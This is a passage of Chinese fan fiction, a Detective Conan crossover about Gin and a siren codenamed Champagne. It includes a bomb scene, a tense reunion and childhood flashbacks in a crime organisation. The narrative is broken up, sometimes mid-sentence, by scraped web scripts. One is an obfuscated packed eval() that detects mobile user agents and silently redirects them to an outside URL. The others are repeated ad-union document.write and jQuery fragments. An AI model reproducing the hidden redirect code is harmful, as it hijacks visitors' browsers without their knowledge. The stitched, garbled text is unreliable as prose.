喧闹和尖叫声还在继续,降谷零拨开身边的人,决定换个位置清醒清醒。 哗啦—— 一捧冷水被泼在脸上,晶莹的水珠顺着面部的轮廓滚下,砸在光洁的洗手台上。 即使□□很薄,也不可避免的起到了阻热的作用,一连泼了好几捧水,才将声音污染赶出颅腔。 过热的大脑冷静下来,降谷零开始整合现在的情况: 效率太低了。 只有人员十分密集的公共区域有监控,现在班长在盯着。 其他几人都分散在不同的区域,但是酒吧里人员流动大,而且环境嘈杂,实际上就是碰运气…… 还没理清楚头绪,就看见有人鬼鬼祟祟地领着一个手提箱,从他身后绕进了过去。 降谷零借着镜子,用余光暗暗观察对方:很普通款式的白上衣黑色运动裤的搭配,放在酒吧里面都是平平无奇到有些特殊的打扮,手里一个商用黑色手提箱。 总感觉眼神躲躲闪闪的。 违和感。 “那个……请问一下……” 连话都没等他讲完,对方像是受惊了的兔子一样,但凡是听到一丁点风吹草动,就立马撒腿就跑,钻进人流中。 降谷零连忙拔腿去追。 两个人像是鲑鱼一样,在人流中逆行。 越是追逐就越是心惊:重量不对。 这种尺寸的箱子,一个成年男性的单手力量完全可以胜任,尤其是现在还需要躲避行人的同时,尽可能的提高速度。 那么理想的姿势应该是一手提着箱子,另一手负责保持平衡和推开行人——而不是像这样,两只手都要用力才能保持平衡。 不过好在他在负重的情况下,根本跑不快。 降谷零从人群中钻过去,很快就赶上了那个男人,将其制伏在地,劈手夺下箱子:“这是什么东西?!” 那人早就被吓破了胆子,只知道唯唯诺诺地重复:“没什么……没什么……什么都没有。” 没有,那你跑什么? 降谷零一边单手将他摁在地上,另一只手提起箱子…… 什么声音? 不确定似的,将手提箱提近了些,在嘈杂的背景音中,降谷零的脸色徒然阴沉下来。 ——是嘀嘀的计时声,而且越来越急促! 几乎是下意识地反应,金发首席弹起身子,冲到最近的一个窗户前,用尽全身的力气,将手提箱丢出窗外。 “趴下!” 下一秒,整面玻璃被爆炸震得粉碎,漫天的碎玻璃渣像是夺命的飞刀,要将人的血肉搅碎。 降谷零及时趴在墙角,才躲过一劫,但是近距离接触炸弹的缘故,还是让他无法避免的耳鸣。 ……公安考核中,使用真炸弹的可能性是多少? Zero。 飞鸟彻羽的声音在耳麦里传来:“考核现在终止。” “报警,联系教官,组织无关人员撤离。” * “客人想喝点什么?” 新晋调酒师把一旁的小木牌立起来,表示自己不再接单的意思。 忙完了手里的最后一单,终于可以腾出手来,招待面前等待多时的客人。 “看在等了这么久的份上,这杯我请客。” 眼前的客人穿着标志性的银长发黑风衣黑礼帽,叼着烟,一只手插在口袋里,另一只手捏着打火机,有节律的将火机弄得咔咔响,像是死神索命的脚步声。 像是16世纪的街头绅士,可惜还差一根手杖。 虽然飞鸟彻羽觉得他可能比较习惯狙击枪。 帽檐下是一张熟悉又陌生的脸,轮廓清晰,嘴唇薄——和自己小时候某个后来闹掰了的好搭档很不巧的撞脸了,完全是张开了等比例放大的那种。 好吧,准确的说这不是撞脸,而是久别重逢。 琴酒现在心情很不美妙。 不是那种日常需要排满任务表的那种不妙,也不是那种手下人又给自己捅娄子的那种不妙,而是那种早就预料到了烂事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738727|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 即将到来,接果烂事不出预料真的来了的那种胃疼感。 ——即使是早就知道组织通过“外守一”这条线,发现了香槟的踪迹,就一定会安排自己来,但真的见到那个老鼠,还是会感到不爽。 “法兰西75。” 男人冷哼一声,完全没有被请客的感恩戴德的态度,反而还颐指气使地下命令,报了一串房间号。 “送到这里。” 飞鸟彻羽没反对。 不论聊什么,就算只是单纯的干一架,也都不适合在这种公共场合。 “法兰西75”,是要琴酒,加香槟,加柠檬汁调配而成,以一战时期法国75毫米野战炮命名,被誉为是最有力量的鸡尾酒。 调酒花了些时间。 飞鸟彻羽托着托盘,送到门口,叩响房门。 ……没人应声。 在门外踌躇了一下,觉得自己和琴酒的关系,是可以“不请自来”的程度。 少年将慢慢拧开门把手,猛地推开门,飞扑而入躲过子弹的同时,将托盘砸向眼前人的门面。 子弹伴着破风声击碎了玻璃杯,发出清脆的爆鸣,酒杯的残骸散落在地毯上,酒液被地毯吸干。 飞鸟彻羽想要和琴酒比体术才是脑子有病,早在推门之前,他就已经施展了【苏生】和【言灵】。 霎时间,房间里的家具像是活了过来,以各种匪夷所思的方式开始挣扎着,准备想制伏小卷毛那样,同样把琴酒也放倒在地。 但是琴酒可太了解他了。 男人掐住他的胳膊,将他整个人拖过来,用身体的重量压制住他不安分的翅膀和尾巴,不知道从哪里摸出来的秘银手铐被扣在飞鸟彻羽的两只手腕上,就算是给这场短暂的交锋画上了句号。 虽然琴酒感觉这连切磋都算不上,活动量堪比抓鸡: 在地上扯住鸡的腿,整个拖起来,绑住制伏。 失去飞鸟彻羽魔力供给的东西,瞬间萎靡了下来,恢复成了原本的样子。 琴酒紧紧掐住飞鸟彻羽的脖子,因为窒息的缘故,原本白皙的脸庞泛起些许不正常的潮红。 刚刚的“打斗”途中,他的帽子已经被弄掉了,现下一头顺滑的银发散落下来,笼罩在两人身上,像是鸟笼的铁条。 从飞鸟彻羽的这个角度,正好可以很清楚的看见琴酒的眼睛: 高眉弓,窄眉距,下三白,深眼窝——简直就是“阴鸷”的具象化代名词。 再配上那双翡翠似的眼睛,就像是杀死了光明神Balder的槲寄生,单是看一眼,就能危险得叫人后颈发麻。 他喜欢琴酒的眼睛。 琴酒的手劲当然足够掐碎塞壬纤细的脖子,即使他现在没有那么做,也足够叫飞鸟彻羽难受了。 偏偏即使难受到这个地步,塞壬还是要坚持说话:“有个……问题。” 伴随着他艰难吐字的动作,喉结和脉搏在琴酒的手心滑动跳跃,讨好似的挠了挠他的手心。 于是琴酒手上的力道松了松。 他到要听听他能说出多么不中听的话来。 “你现在……洗完头发……会用发膜或者护发精油吗?” 37.二分之一法兰西75 有病。 琴酒讨厌飞鸟彻羽说话的态度,熟稔自然,像是他们之间九年的隔阂从未有过,之前的龃龉从未发生,还是可以不讲礼貌直接推门而入的关系。 事实上好像也确实如此:就像是曾经的无数次,他总能在各种各样千奇百怪的犄角旮旯里精准找到飞鸟彻羽一样。 理智尚且在仔细斟酌,心跳就先一步歇斯底里: 就是!就是!就是! “……你这张脸真是令人作呕,”琴酒感受着掌心里鼓动的脉搏,嫌恶地狞笑,就像是曾经无数次猫戏老鼠时露出的表情,“我要吐了。” 真挑剔。 飞鸟彻羽默默叹气,收回了最后一丝供给的魔力。 霎时间,面上的易容颜料像是融化的积雪,一滴滴滚落,露出塞壬本来的样貌。苍白的头发瞬间暴长,如海浪一般淹没他的双手,覆盖住深色的地毯。 琴酒嫌弃地松开了他的脖子,嗤笑一声,从他身上起来,找到一旁的椅子坐下,翘着一条小腿,点燃了一颗烟。 他不担心拉开距离之后,飞鸟彻羽会不会耍什么花招。 事实上,像飞鸟彻羽这种纯粹的炮台型法师——手长前摇长,高伤低机动——是完全不具备处理眼前事态的能力的。【言灵】中最短的指令需要完整地吐出两个音节,而在这个距离这个时间内,琴酒有八百种办法放倒他。 更别提飞鸟彻羽现在手腕上还扣着限制魔力流动的秘银手铐了。 男人深吸了一口,烟头处的火苗就明显向前蹿了一截,燃出一段不长不短的烟灰来。 没了琴酒的钳制,飞鸟彻羽也立起身子,摊开尾巴,坐在地毯上。 琴酒的头发不知道多久没有剪过了,但是发质依然顶级,又顺又长,是白色人种中很罕见的硬直型,一直漫过腰线。 但是塞壬的头发比他更长更厚,很不幸的是,刚刚解除易容的时候,他的头发被塞壬细软微卷的发梢轻轻钩住,白发和银发混在一起,像是两张粘连着的蜘蛛网。 分不清楚谁是谁的。 琴酒暂时掐了通讯,坐在椅子上,居高临下地睥睨着飞鸟彻羽,神色晦暗难明,不知道在想什么。 飞鸟彻羽想了想,伸出双手,因为手腕被紧紧扣住的缘故,于是一起手心朝上,做势要伸手去接他的烟灰。 阿阵应该不会把脚踢在我脸上吧? ……应该不会吧? 飞鸟彻羽在心里默默复盘了一下,确定他没有专门爱打别人脸的爱好,也没打过自己的脸。 琴酒可太了解他了,了解到只要飞鸟彻羽耳羽一动,就能知道他在憋着什么坏。 就比如说现在: 衣冠楚楚、人面兽心的狗资本家,和他跪在面前伸手接烟灰的少年奴隶.jpg “你还真是,没有一点长进,”琴酒意识到他暗戳戳地内涵之后,不出意外地被逗笑了,当然,是狞笑,“更讨人厌了。” 飞鸟彻羽眼型圆,眼白少,不说胡话干坏事的时候,就显得很乖,人畜无害的样子。 他就顶着这张脸极具迷惑性的脸,没什么表情,仰着脸看着他,就像塞壬曾经无数次蛊惑无知的蠢人那样。 但是琴酒不吃他这一套。 塞壬这个种族,无不轻佻残忍,美艳凌厉——口蜜腹剑,佛口蛇心。 而“飞鸟彻羽”在这个基础上更胜一筹,因为他还会用似有实无的“真心”骗人,就像是那伊甸园的毒蛇,引诱无知的人将红艳的禁果吞吃入腹。 殊不知那却是果腹的砒霜,止渴的鸩毒,最后只落得一个肝肠寸断的下场,还要受他一句奚落: 当真是好言难劝该死的鬼。 男人伸手将烟灰掸在了手边的烟灰缸里,顺着他的右眼眼尾往下数去。 三颗泪痣。 啧。 真碍眼。 “组织不会要香槟的命。” 不论是【潘多拉】,还是“叛徒香槟”的缘故,都不会是简简单单丢一条命就可以结清的债。 飞鸟彻羽将双手叠在他的膝盖上,上身贴住琴酒支起来的那条小腿,下巴搭在自己的手背上,这个距离,琴酒几乎可以感受到他节律的心跳。 “我知道。” “但是我想。” 无关立场或者身为“琴酒”的责任,单纯的个人立场。 “我知道,”飞鸟彻羽低低地应声道,像是曾经无数次应许的那样,“我期待着。” 银狼一样的男人突然暴起,掐住塞壬的下颌,将他向后掼倒,好在是摔在厚厚的地毯上,只是有些懵,并不疼。 琴酒从嘴里夺下吸了一半,还带着火光的香烟,不容置啄地摁在飞鸟彻羽最末的那颗泪痣上。 挣扎几乎是下意识地事情,但很快飞鸟彻羽就反应过来,制住了自己的本能,双手轻轻握住他的手腕。 只是因为疼痛的缘故,眼睫控制不住地颤抖,开开合合的样子,叫琴酒想起上世纪盛行的黑白默片: 掀开闭合的那一次次白色的帷幕,就像是他们故事的序章与落幕,不论上演多少次,他却始终是戏中人,没有置身事外独善其身的选择。 * 他们第一次见面的时候,飞鸟彻羽还是香槟,黑泽阵也还不是琴酒。 彼时黑泽阵算是那位先生的养子,但是还没有获得代号,比普通的外围也好不到哪里去。 说是“养子”,实际上连那位先生的面都没见过,只是在例行的考核之中获得了最佳的成绩,于是就像是褒奖似的,开了张不能兑换的空头支票。 甚至连这空头支票都不是什么稀罕玩意。 黑泽阵体感,自己“异父异母”的兄弟姐妹没有一千也有八百,按照流通数量和获得的难易程度来讲,连做稀缺资源都不够格。 而黑泽阵是其中最好的那一个。 但是再怎么好,没有代号还是躲不过炮灰的定位。 组织训练营里面总有层出不穷的孩子,就像是天地里郁郁葱葱长势喜人的小韭菜,割完一茬又有一茬,这其中有天赋又有运气的极少数,踩着昔日同伴的尸骨往上爬,获得了代号之后恨不得远走高飞,这辈子不要再回来这个吃人不吐骨头的地方。 但是“代号”实在数量有限,剩下没有代号的孩子,就只好等着下一个机会,周而复始,直到在这个循环中死去。 黑泽阵就是在这个时候遇见香槟的。 那年香槟六岁,他也不过十三。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “任务”对训练营里面的孩子来说,是实在稀缺的资源,能被送到训练营里面的更是早就被挑拣过了,既没油水,也不重要,但也是不可多得的机会,这意味着向上爬的阶梯。 “香槟?” 黑泽阵拿着自己好不容易夺来的资格,接下了这个烫手山芋。 按理说,有代号成员参与的任务,他们连面都见不到,更别说直接接触代行成员本人了。 黑泽阵望向自己的教官,期许得到一点零星的线索。 十三岁的黑泽阵皱眉的时候,已经有了后面琴酒的影子:“什么都不告诉我,那我怎么做任务?” 但是没什么用。 发布任务的教官自己都没代号,头也不抬,敷衍的态度像是在嘲笑他的异想天开。 “谁知道呢?做不了就换人呗——反正你不做有的是人做。” 组织最不缺的就是人了。 要不是这个任务只要孩子,能轮得到黑泽? 知道在这里问不出什么来的黑泽阵也不勉强,只是在心里默默盘算: 按照代号的发放规律来讲,一般男性成员都以高度数的蒸馏酒命名,而“香槟”这个名字他有些了解,是一款只在法国香槟区生产的气泡酒,因为其危险的制作过程和特殊的使用背景,有“恶魔之酒”和“胜利之酒”的称号。 于是黑泽阵对自己要接触的代号成员侧写如下:女的,年纪在二十岁左右,性格恶劣,能力超强。 需要“沦落到”在训练营里面挑选帮手,说明根基不深,找不到合适的代号成员或者外围成员,考虑到组织代号授予的年龄,大概率不会是组织二代而且年龄不大。 从除了代号以外的其他信息一点都不透露来看,保密程度很高,说明本身被委以重任,所以也有第二种可能,她需要一个一次性的替死鬼。 ——高风险高收益,而黑泽阵当然有信心抓住这个机会。 结果到面见香槟的时候傻眼了。 根本没见到人! 只有在露天眼光下的一个巨大泳池,还有旁边瘫在太阳椅上的一只白色的塞壬,像是贝壳一样的翅膀用来遮阳,下身华丽的尾鳍和鳞片,就像是晶莹剔透的的白水晶,闪着耀眼的光芒。 察觉到有人靠近的塞壬从翅膀下面探出头来,露出自己那双明艳的鸳鸯眼,一眨不眨地看着他。 之前就见过北地精灵的黑泽阵对“人外”接受良好,最初的惊愕飞快褪去之后,很快就发现了,塞壬的情况显然不太妙: 原本白皙的脸色被太阳晒得泛红,在腰背部翅膀遮不到的皮肤已经有晒伤的迹象,唇瓣更是因为脱水而干裂,整个蔫趴趴的,像是搁浅的鱼。 尾部被束缚器紧紧扣住,让他没有办法变成人腿,所以他该怎么办呢? 在众目睽睽之下爬过去吗? ……也许这是“香槟”的考题。 黑泽阵如是想到。 不知道对方想要什么结果,所以完全无从下手。 但是以“塞壬”的稀缺程度,不论如何组织都不应该就这么让他被太阳晒死,所以捞他一命总没错。 于是黑泽阵抓住他的翅膀,把他拖到泳池旁边,丢进水里:“小鬼,你知道‘香槟’吗?” 38.二分之一法兰西75 香槟一连喝了三杯水,才终于缓过神来,开始嚼摆在桌子上装在罐子里的糖豆。 塞壬牙口很好,自愈力更是好得出奇,泡在水里顷刻的功夫,身上的晒痕就像是遇水的劣质胭脂,融化的无影无踪。 祂抓出几颗来,伸给黑泽阵尝尝。 黑泽阵的警惕心不是很想要陌生人给的东西,虽然对方只是一个小鬼,但是毕竟也是出现在组织里面,再怎么小心也不为过。 可是香槟也实在执拗,伸直胳膊不肯放弃。 与其说是谦让,跟不如说是一场对峙: 西伯利亚的狂风遇见爱琴海岸的盛夏,极夜雪原的瑰丽极光遇见晴朗明快的轻式帆船,北国狼主遇见海妖塞壬。 蒸馏酒兑上气泡酒,琴酒搭配香槟。 他不愿意,香槟也不勉强,一起丢进嘴里嚼得粉碎吞进肚子。 塞壬嗓音空灵诡谲,像是在吟唱赞美诗:“黑泽阵?” 但是黑泽阵觉得祂像一条溺死的鱼。 那一瞬间福至心灵,他突然产生了一个荒诞的想法:“你是香槟?” 香槟两只手扒住泳池的边缘,探出脑袋,点点头。 黑泽阵下意识地扭头去看周围监视的人员,对方不着痕迹地点了点头。 ……真是啊?! “你发布的任务?” 这是个好问题。 香槟当然没有发布任务,但是在这里的几个月,祂具体也说不上来,赶走了多少“监护人”,但是祂的身体状态也离不开时刻监管,所以说是祂发布的任务好像也没有错? 塞壬摇摇头,迟疑了一下,又犹豫着点点头,再踌躇了一会,重新确定似的点点脑袋。 ——祂就是有一种特殊的气质,能在任何一个阵营里面被自己的同伴看到的时候,都会感觉前途黑暗。 组织的未来完蛋了。 黑泽阵如是想到。 当然,组织未来完不完蛋不是现在的黑泽阵能说了算的,至少目前,该有任务他还是得做。 居高临下地和组织成员说话显然不太合适,于是黑泽阵蹲下,和祂保持眼神的交流: “需要我做什么?” 香槟也说不清楚想要他做什么,总不能直接开口叫他回去吧? 于是黑泽阵就看见那个孩子嚅嗫的一下,像是实在不好意思似的,小小声道:“你的眼睛好好看啊……可不可以等你死了之后,抠下来送给我?” 黑泽阵:…… 虽然知道组织里面变态尤为的多,一方面是这种工作的特殊性,导致有攻击性“爱好”的个体更容易聚集;另一方面也是因为,高强度高压力的工作背景,很多本来没有特殊癖好的,往往也免不了沾染上些许怪癖。 不过才这么大点,就开始“发现自我”的确实也不多见。 话说回来,香槟本来也不是人,用“变态”形容他好像也不太贴切,对于祂们来说,这估计和乌鸦喜欢亮晶晶,所有会收集糖纸、玻璃、宝石差不多。 但是黑泽阵也没有纵容祂的必要。 黑泽阵俯下身子,贴近脸,叫祂看得更清楚些:“真的好看?” 香槟被贴脸了,不躲也不避,很是认真地点点头。 这么一想,要是等死了才给的话,且不说那个时候还想不想得起来,死的时间久了,眼球就混了不好看了。 还是新鲜的好,丢进药水里,做了防腐处理,就好像被时间的长河判了流放,永远都是最美好的模样。 于是祂又开口,带着些许出尔反尔的心虚:“能不能现在就送给我……啊?” 黑泽阵冷笑一声,伸手摸了摸祂的头,塞壬表现出很温顺的样子,由着他摸。 下一瞬间,黑泽阵手上徒然用力,将香槟的头整个摁进水里。 把海妖摁进水里当然不是什么了不起的大事,香槟既不惊慌,也不挣扎,睁开眼睛隔着水幕看着他,然后用额头蹭了蹭黑泽阵的手心,吐出一串泡泡。 塞壬能在水中闭气很久,但是黑泽阵也没有为难祂叫祂难受的打算,只是想小小的警告祂一下,算是给个不疼不痒的教训,心里默默数了十个数就松开了手放祂上来。 香槟将头发拨到两边,露出脸来,还是活蹦乱跳的不影响祂语出惊人:“数到一百的话就答应我吧?” ……看起来完全没有受到什么教训。 啧。 黑泽阵感觉事情有些麻烦了。 再怎么年幼无知也是代号成员,被代号成员惦记着眼睛可不算是什么好事,尤其是像这样没有道德意识和敬畏感的非人小孩更是危险。 因为比起人类社会中的是非观念,祂们根本没有“好与坏”的意识,完全就像是野兽一样,遵循丛林法则——想要就伸手争取,垃圾就应该被吃掉,只有更强大更有竞争力的个体才有资格活下来。 祂们是披着人皮的野兽。 很不幸的是,对于现在还没有代号且没有庇护的黑泽阵而言,数量稀缺且已经获得代号的香槟就是那个“更强大更有竞争力”的代名词。 得像个办法,彻底断了祂这个念头才行。 ——想要在野兽面前脱身,最有效的办法就是露出自己的威慑力,避免被定义为“猎物”。 想到这,黑泽阵招招手,将年幼的塞壬引过来,扶住祂的脸,另一只手悄悄抽出藏在身上的短匕,手起刀落,斩断了一点耳羽。 塞壬现在还没褪绒毛,所以理所当然的也不会飞,不论是耳羽还是翅膀,都被细软密集的绒羽覆盖,毛茸茸的像是一团蒲公英。 香槟看着漂在水面上的些许绒毛,怔了片刻,发出一声短促又刺耳的尖叫。 绝对不是人类可以发出的声音,震得黑泽阵鼓膜生疼: 他发誓自己只是斩断了羽毛尖端一点点的部分,想要吓唬祂一下,根本没有碰到皮肉,不仔细看也根本看不出来,完全不影响美观。 但是还没等他采取下一步的行动,香槟的眼泪已经炸了出来。 像是故意哭给他看似的,一边努力扒住池水边缘,露出脑袋,瞪圆眼睛盯着他,一边眼泪像是泄了洪一样流,从喉咙里挤出细碎的哽咽声。 关键是祂还非常有毅力,不是只哭一声两声,能够一直保持这个频率,甚至还有越演越烈的趋势。 ……再这么哭下去,不是碱中毒就是脱水了吧。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 黑泽阵是想给祂一点教训,可没想让组织的香槟有个好歹。 他也做不到刚做了事情,就拉下脸来哄人:“……叫你剪回来行了吧?” ——一点黑泽式的,别扭式的示弱道歉。 但是塞壬并不领情,盯着他的耳朵看:你又没有耳羽。 啧,真麻烦。 “叫你剪头发行不行?” 这下香槟好像是有一点心动了,哭声小了一点,眼泪也落得缓了,还是盯着他看,等他做出最后的让步。 “以后都让你剪,只给你一个剪,行不行?” “真……真的吗?” 香槟还是有点委屈,哭得说话也结巴,配上那段小孩子特有的哭腔,叫旁边监视的成员心都碎了,一边抹眼泪,一边偷偷地瞄他:“剪……剪几……几次?只……只给我……自己剪……剪吗?” 眼见着塞壬就要哭厥过去了,黑泽阵胡乱点头答应道:“剪一百次,只给你自己剪。” 如愿得到保证的香槟现在满意了,伸手一抹,哭腔也没有了,眼泪也不流了,摊着一张粉雕玉琢的小脸,要不是现在眼尾还有点泛红,旁观的人都会怀疑是自己刚刚出了幻觉。 “不讲信用的人要被大海碾碎,然后被海胆吃掉哦。” 黑泽阵:……? 很难想象,一个六岁的小孩,会有如此优秀的情绪管理和眼泪管理,并且完全不需要提前准备,眼睛一眨就是一个作为报复的鬼点子。 “呵。” 黑泽阵冷笑一声,转换了一下姿势,方便用力,然后伸手像掐一只猫崽一样,双手托住香槟的腋下,扣住祂的肋骨,将祂整个从水里抱了出来,趴着放在了自己的腿上。 刚刚骗到人的香槟心情很好,像是一条小虎鲸那样,趴在黑泽阵腿上,慢悠悠地翘尾巴,胳膊撑着身体,企图扭过脸来看他…… 啪! 一声奇特的闷响,像是手心拍在鱼鳞上的声音。 香槟:……? 黑泽阵找准祂腰下大概一掌多点,尾巴最宽的部分,紧接着又是一声! 香槟:!!! 就是被打了屁股! 还是在众目睽睽之下被打了! 反应过来的香槟一边将尾巴拍的啪啪响,企图脱离他的桎梏,一边挣扎着探出翅膀,企图拍他的脸。 但是被黑泽阵空出来的那条小臂压住脊背,又伸出一条腿压住尾巴就轻松镇压了。 香槟:六岁,鱼尾且被拖上岸,没有任何体术教导经历,魔法用不出来,比同龄的人类孩子还要小只。 黑泽阵:十三,拥有足够适应陆地的双腿,丰富的理论知识和实践经验,最有天赋且没之一,体型在同龄人当中也是佼佼者。 ——根本没有任何可比性嘛。 一直打了二十好几下,旁边负重监视的成员才“姗姗来迟”——足以见得香槟平时是多么的叫人头痛,大家不约而同地想要看到这个小魔头吃瘪。 这次香槟是真的生气了,耳羽都膨起来,脸颊也鼓着,扣着秘银束缚器的尾巴抽在过来拉架的成员身上,像是摆锤一样,疼得他龇牙咧嘴地哀叫求饶。 黑泽阵,坏! 39.二分之一法兰西75 经此一役,黑泽阵很不幸的被香槟缠上了。 对于这一点,所有被香槟折腾得的痛不欲生的人都喜闻乐见,除了黑泽阵本人——当然,他的意见也没什么人在意。 起初黑泽阵试着躲祂,但是起不到什么实质性的作用,香槟总能像绑定了追随程序的赛博宠物一样,在M7的任何一个角落,黑泽阵落单的时候找到他。 后来黑泽阵试着冷暴力祂,企图叫祂知难而退,但是也起不到什么效果,因为本来香槟跟着他也不怎么说话,祂只是为了跟着而跟着。 最后作为没有办法的办法,黑泽阵随便找了个理由故技重施,又打了一顿香槟的屁股。 ——然后被耳羽都膨起来的香槟告了状。 “对我们家孩子好一点吧?” 猩红眼睛的儒雅男人一边抱着生气的小孩顺毛,一边垂下眼睛,对着黑泽阵许诺出一件件好处。 但是香槟不领情,抓住他的一缕头发,用力扯来扯去。 男人也不生气,即使是到最后香槟开始分散目标——三五根头发一小撮,即使是小孩子也可以很轻易的拔掉——也只是笑呵呵地捏了捏香槟的后颈,还有扣在祂脖子上项圈一样的束缚器。 像是摸小狗一样。 ——用的是疑问的语气,表达出来的却是肯定的要求。 黑泽阵意识到香槟在组织的特殊性: 组织不吝啬高昂的经济支持,给予祂特权和代号,良好的态度去讨祂的欢心,允许祂的爪子和牙齿造成一些无伤大雅的麻烦…… 但是这不意味着香槟可以拒绝组织的安排。 “宠爱”,而非“权力”。 ——“香槟”是高层的宠物,而我是香槟喜欢的玩具。 就像是现在: 主人可以纵容小狗拆家,纵容小狗抓人咬人,纵容小狗不会摇尾巴,给祂买昂贵的玩具…… 但是小狗不可以挣脱狗项圈。 认识到自己抗拒不了“强权”的黑泽阵开始躺平任嘲。 于是他会在任何时间地点发现香槟,就比如说现在,刚刚完成了体术训练的黑泽阵在浴室门口看见了某个不请自来的家伙: 手扒住门框,探出半个脑袋,和一双滚圆的眼睛。 还有画面里不知道自己不在的时候,又怎么被香槟折腾了的监视人员,正提着一只巨大的保温桶眼巴巴地看着他门口的摄像头。 黑泽阵紧了紧浴袍,假装自己突然失明了。 “为什么讨厌我呢?” 香槟拿着剪刀开始履行他们之前的约定,给黑泽阵修头发。 祂的技术实在烂的可以,练习了这么久也没什么进步的迹象,黑泽阵之所以还能正常出门全靠自己的脸撑着,让别人见了会以为是一门现下时兴的艺术,而不是顶着这个发型的人实在脑子有病。 “我应该还算是能满足你的需求吧?” 被香槟跟着也不是完全没有好处,比如说现在被祂的监视人员精心准备的超大号营养餐最后大部分都会进自己肚子。 为了方便香槟找他的同时不被太多人发现,组织专门分给黑泽阵的独栋小别墅,让他可以有点自己的私密空间。 还有他可以借着香槟的权限,去挑选任务。 而黑泽阵只需要在自己的自由时间顺便带带孩子,香槟很安静,还算听话,(仅仅对黑泽阵而言)也没什么攻击性。 平心而论,黑泽阵也不算是亏本。 ——总比累死累活的同时,还要被香槟各种明算暗算,最后还要和自己一个待遇的某监视人员要好。 黑泽阵冷哼一声:“……那是我的劳动报酬。” 言下之意,我应得的。 香槟开始努力推销自己:“我也很有用的吧?” “比如?” “剪头发?” 黑泽阵在镜子里和香槟对上视线,顶着一头没办法用语言形容的“发型”。 ……姑且算是发型吧。 “那给你推轮椅?我很长寿的,能活很久很久很久。” 这是实话,根据研究组那边的结果,香槟幼年期和人类的生长速度差不多,直到成年后就会时间停滞,不会衰老甚至是自然死亡。 就像是被时间判处了终生流放,成年后执行,永远都是最好的年岁。 “用不着,”黑泽阵冷嗤一声,“杀手活不到那个时候。” 在光洁的镜面里,冰冷的狼眸对上塞壬幼圆的眼,像是饱腹的野兽看见了愚蠢的幼崽,所以可以暂时允许祂在爪边苟活一段时间。 黑泽阵很麻烦,和其他塞壬随便笑一笑,说两句好话,最多贴一贴就可以被哄的团团转的蠢货不一样。 香槟暂时还没想好要他怎么办,看着镜中墨绿色的眼睛,隔着一层玻璃的缘故,看起来他的眼睛也很像宝石。 那你来做决定吧。 “阿阵想要什么呢?” 黑泽阵夺过祂手里的剪刀,开始努力挽救自己惨不忍睹的头发。 他眼白多,和塞壬不一样,所以眼球转动的时候就会很明显,横祂的时候也很明显:“你给不了。” 撒娇是信手拈来的事情,对于香槟而言,想要讨得随便什么人的欢心都易如反掌:“说说看嘛~” “清净。” 香槟卡壳了,像是一只偷吃小饼干被噎住的仓鼠。 蠢。 黑泽阵转身走到门口把午饭拎进来,一层一层拆开,摆在茶几上:“过来吃饭。” 今天的饭菜很是丰盛,林林总总摆了一桌子,还有那天黑泽阵见过的,看起来像是珍珠一样的糖球。 香槟抓了一把,又缩回到沙发里窝着。 “过来。” “不要。” 黑泽阵拿出了一点平时调动其他组员时候的压迫感,但这不妨碍香槟在他面前,把糖球嚼得咔咔响。 “……过来。” “不要。” 小孩有时候真挺烦人的。 黑泽阵绕过来,劈手夺过香槟手里的糖球丢进嘴……险些被崩了牙。 不是糖球,是真的珍珠。 狙击手出色的视力,让他在这种时候也没错过香槟脸上一闪而过的嘲笑。 嘻嘻:D ……算了,和小鬼生什么气。 黑泽阵把香槟从沙发里挖出来,抱起来,准备强迫祂就范。 但是香槟拒不合作,浑身上下都在拧着用力,又开始掉眼泪:“不要不要不要不要不要……” 根据这么久 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的相处黑泽阵对香槟的了解来讲,香槟不是尖锐的性格,虽然祂很多时候明面上表现得很温顺,实际上不知道心里憋着什么坏。 但是直接撕破脸的对峙是从没发生过的,至少黑泽阵也只是在别人口中听到,从来没有亲眼见过。 祂从来没有这么直接抗拒的时候。 “为什么不要?” 应该也不是挑食的缘故,都是同一个人做的,今天的菜色也很不错,总计有九个菜,最上面的是两块煎的正正好好的牛排,被切好后摆在盘子里,切面还微微泛着粉…… 黑泽阵突然想起来,这种症状自己也见过——在训练营里面,某个孩子第一次做完杀人任务的时候。 对方前一秒还在侃侃而谈自己的实践经验,准备回去撰写任务报告,下一秒见到端上来的猪骨汤的时候,出乎所有人意料的吐了出来。 筒骨里面堆满了白花花的骨髓,外面裹着煮的软烂的腿肉,汤面上浮着透亮的油脂,看的人食指大动。 就像是人类的腿骨一样。 “——你不吃牲畜肉?!” 看来是了,其他的食材都是曾经出现过的,菜也是同一个人做的,只有牛肉是第一次出现。 黑泽阵配合地把祂重新放回到沙发上,仔细帮哭的看起来马上就要厥过去的香槟把眼泪擦干净:“为什么不吃?必须给个理由。” 香槟又不说话,还是眼巴巴地看着他。 这一套流程黑泽阵已经很娴熟了,熟悉的可以张口就是敷衍:“没有下次了,一定先问你的意见。” 于是香槟满意了,搅着衣角的布料,小小声道:“……看起来很像我爸。” 什……?! “你爸呢?” 香槟很诚实,有问必答:“被我妈吃掉了。” “你妈为什么要吃他?” 虽然香槟年纪小,但是逻辑理得很清楚:“因为他是□□犯。” “那你妈呢?” “被阿莲烧死了。” ……阿莲又是什么? 但是黑泽阵知道这个话题应该到此为止了:单论香槟在组织的待遇来讲,“阿莲”的身份肯定不是一般人,甚至很有可能都不是一般的代号成员,这种可能会涉及到组织秘辛的东西,不是现在连代号都没有的黑泽阵应该好奇的。 ——好奇心可不算是美德。 不管怎么说,香槟家里的情况,复杂程度堪比古希腊神话传说。 